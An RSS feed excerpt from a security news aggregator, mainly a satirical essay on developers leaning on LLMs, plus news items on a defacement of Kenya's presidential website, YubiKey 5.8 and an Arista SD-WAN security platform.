<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Middle East faces new cyber reality: attackers logging in, not breaking in]]></title>
<description><![CDATA[Geopolitical tensions, stolen credentials and increasingly rapid attacker movement are reshaping the Middle East’s cyber threat landscape, putting pressure on organisations to look beyond traditional, alert-driven security models]]></description>
<link>https://tsecurity.de/de/3685633/it-nachrichten/middle-east-faces-new-cyber-reality-attackers-logging-in-not-breaking-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685633/it-nachrichten/middle-east-faces-new-cyber-reality-attackers-logging-in-not-breaking-in/</guid>
<pubDate>Wed, 22 Jul 2026 10:21:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Geopolitical tensions, stolen credentials and increasingly rapid attacker movement are reshaping the Middle East’s cyber threat landscape, putting pressure on organisations to look beyond traditional, alert-driven security models]]></content:encoded>
</item>
<item>
<title><![CDATA[Synthesia’s AI training platform is moving beyond videos into live coaching]]></title>
<description><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></description>
<link>https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685571/it-nachrichten/synthesias-ai-training-platform-is-moving-beyond-videos-into-live-coaching/</guid>
<pubDate>Wed, 22 Jul 2026 10:02:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Synthesia launched AI Roleplay Sessions, an interactive enterprise training platform where employees practice workplace conversations with AI avatars that provide feedback, scoring, and analytics to help companies measure training effectiveness.]]></content:encoded>
</item>
<item>
<title><![CDATA[Yubico Introduces YubiKey 5.8 With Hardware-Backed Authorization for AI Agent Workflows]]></title>
<description><![CDATA[Yubico has released the YubiKey 5.8, a firmware update that extends the hardware security key beyond login authentication to verify and authorize digital actions, including approvals initiated by autonomous AI agents. Announced July 21, 2026, the update responds directly to the rise of agentic AI...]]></description>
<link>https://tsecurity.de/de/3685564/it-security-nachrichten/yubico-introduces-yubikey-58-with-hardware-backed-authorization-for-ai-agent-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685564/it-security-nachrichten/yubico-introduces-yubikey-58-with-hardware-backed-authorization-for-ai-agent-workflows/</guid>
<pubDate>Wed, 22 Jul 2026 09:59:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yubico has released the YubiKey 5.8, a firmware update that extends the hardware security key beyond login authentication to verify and authorize digital actions, including approvals initiated by autonomous AI agents. Announced July 21, 2026, the update responds directly to the rise of agentic AI systems capable of executing complex business workflows with minimal human […]</p>
<p>The post <a href="https://cyberpress.org/yubico-introduces-yubikey-5-8/">Yubico Introduces YubiKey 5.8 With Hardware-Backed Authorization for AI Agent Workflows</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals]]></title>
<description><![CDATA[Yubico has announced the release of YubiKey 5.8, a firmware update that enhances the functionality of hardware-backed passkeys beyond secure login authentication, extending into verified authorization workflows. This update, announced on July 21, 2026, is designed to support enterprise document s...]]></description>
<link>https://tsecurity.de/de/3685537/it-security-nachrichten/yubico-released-yubikey-58-with-secure-enterprise-workflows-and-ai-driven-approvals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685537/it-security-nachrichten/yubico-released-yubikey-58-with-secure-enterprise-workflows-and-ai-driven-approvals/</guid>
<pubDate>Wed, 22 Jul 2026 09:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yubico has announced the release of YubiKey 5.8, a firmware update that enhances the functionality of hardware-backed passkeys beyond secure login authentication, extending into verified authorization workflows. This update, announced on July 21, 2026, is designed to support enterprise document signing, digital identity wallets, secure payments, and human approvals for AI-driven actions. As enterprises face […]</p>
<p>The post <a href="https://cybersecuritynews.com/yubikey-5-8-released/">Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yubico Launches YubiKey 5.8 With Hardware-Backed Authorization for AI Agent Workflows]]></title>
<description><![CDATA[Yubico has released the YubiKey firmware version 5.85.85.8, expanding its hardware security key platform beyond phishing-resistant authentication. This update introduces verifiable, hardware-backed authorization for digital signatures, identity wallets, payment confirmations, and AI agent approva...]]></description>
<link>https://tsecurity.de/de/3685434/it-security-nachrichten/yubico-launches-yubikey-58-with-hardware-backed-authorization-for-ai-agent-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685434/it-security-nachrichten/yubico-launches-yubikey-58-with-hardware-backed-authorization-for-ai-agent-workflows/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Yubico has released the YubiKey firmware version 5.85.85.8, expanding its hardware security key platform beyond phishing-resistant authentication. This update introduces verifiable, hardware-backed authorization for digital signatures, identity wallets, payment confirmations, and AI agent approval workflows. Announced on July 21, 2026, this firmware update aims to help enterprises verify not only who accesses an application but […]</p>
<p>The post <a href="https://gbhackers.com/yubico-launches-yubikey-5-8-ai-agent-workflows/">Yubico Launches YubiKey 5.8 With Hardware-Backed Authorization for AI Agent Workflows</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom]]></title>
<description><![CDATA[Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a...]]></description>
<link>https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</guid>
<pubDate>Wed, 22 Jul 2026 08:23:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Kenya Cyberattack Defaces Ruto Website" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="604" data-end="1046">Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a <a href="https://thecyberexpress.com/nget-stealer-information-stealer/" target="_blank" rel="noopener">cryptocurrency wallet</a> address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.</p>
<p data-start="1048" data-end="1341">The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to <a href="https://techpoint.africa/insight/techpoint-digest-1391/" target="_blank" rel="nofollow noopener">local media reports</a>, access to the website was restored by Monday.</p>

<h3 data-section-id="uxwkij" data-start="1343" data-end="1390"><strong>Kenya Cyberattack Prompts Incident Response</strong></h3>
<p data-start="1392" data-end="1563">Kenya’s Ministry of Information, Communications and the Digital Economy <a href="https://www.linkedin.com/feed/update/urn:li:activity:7484206210221522944/" target="_blank" rel="nofollow noopener">confirmed</a> that the official website of the President had been affected by a cybersecurity incident.</p>
<p data-start="1565" data-end="1715">The ministry said that after the incident was detected, the ICT Authority immediately activated established <a href="https://thecyberexpress.com/incident-response-automating-with-genai/" target="_blank" rel="noopener">cybersecurity incident response</a> protocols.</p>
<p data-start="1717" data-end="1876">As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.</p>
<p data-start="1878" data-end="2004">The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.</p>


[caption id="attachment_113245" align="aligncenter" width="600"]<img class="wp-image-113245 size-full" src="https://thecyberexpress.com/wp-content/uploads/Kenya-cyberattack-e1784698045495.webp" alt="Kenya cyberattack" width="600" height="680"> Source: Kenya’s Ministry of Information, Communications and the Digital Economy[/caption]
<p data-start="2006" data-end="2254">At the time of the statement, the government said there was no evidence of unauthorized access to sensitive <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29055">data</a>, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.</p>
<p data-start="2256" data-end="2454">The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.</p>

<h3 data-section-id="424neg" data-start="2456" data-end="2514"><strong>Kenya President William Ruto Cyberattack Investigation</strong></h3>
<p data-start="2516" data-end="2764">The Kenya President William Ruto <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29053">cyberattack</a> involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.</p>
<p data-start="2766" data-end="2887">The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.</p>
<p data-start="2889" data-end="3135">The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.</p>

<h3 data-section-id="uvsz76" data-start="3249" data-end="3308">Kenya Government Website Hack Follows Earlier Incidents</h3>
<p data-start="3310" data-end="3439">The latest Kenya government website <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-hacking/" title="hack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29054">hack</a> follows previous cyber incidents involving government digital services and websites.</p>
<p data-start="3441" data-end="3660">In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was <a href="https://thecyberexpress.com/cyber-attack-on-kenya-anonymous-sudan-hackers/" target="_blank" rel="noopener">disrupted by a cyberattack</a>. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.</p>
<p data-start="3662" data-end="3891">On November 17, 2025, <a href="https://thecyberexpress.com/government-of-kenya-cyberattack/" target="_blank" rel="noopener">hackers launched a coordinated attack</a> on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.</p>
<p data-start="3893" data-end="4078">According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29057">cyber</a> defences.</p>

<h3 data-section-id="1t0u4ua" data-start="4080" data-end="4134">Bitcoin Ransom Demand Targets Presidential Website</h3>
<p data-start="4136" data-end="4383">The latest incident involved a Bitcoin <a href="https://thecyberexpress.com/cyber-attack-on-scandinavian-airlines-ransom/" target="_blank" rel="noopener">ransom demand </a>for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.</p>
<p data-start="4385" data-end="4660">It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.</p>
<p data-start="4662" data-end="4871" data-is-last-node="" data-is-only-node="">The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-cyber-attack/" target="_blank" rel="noopener" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29056">cyberattack</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



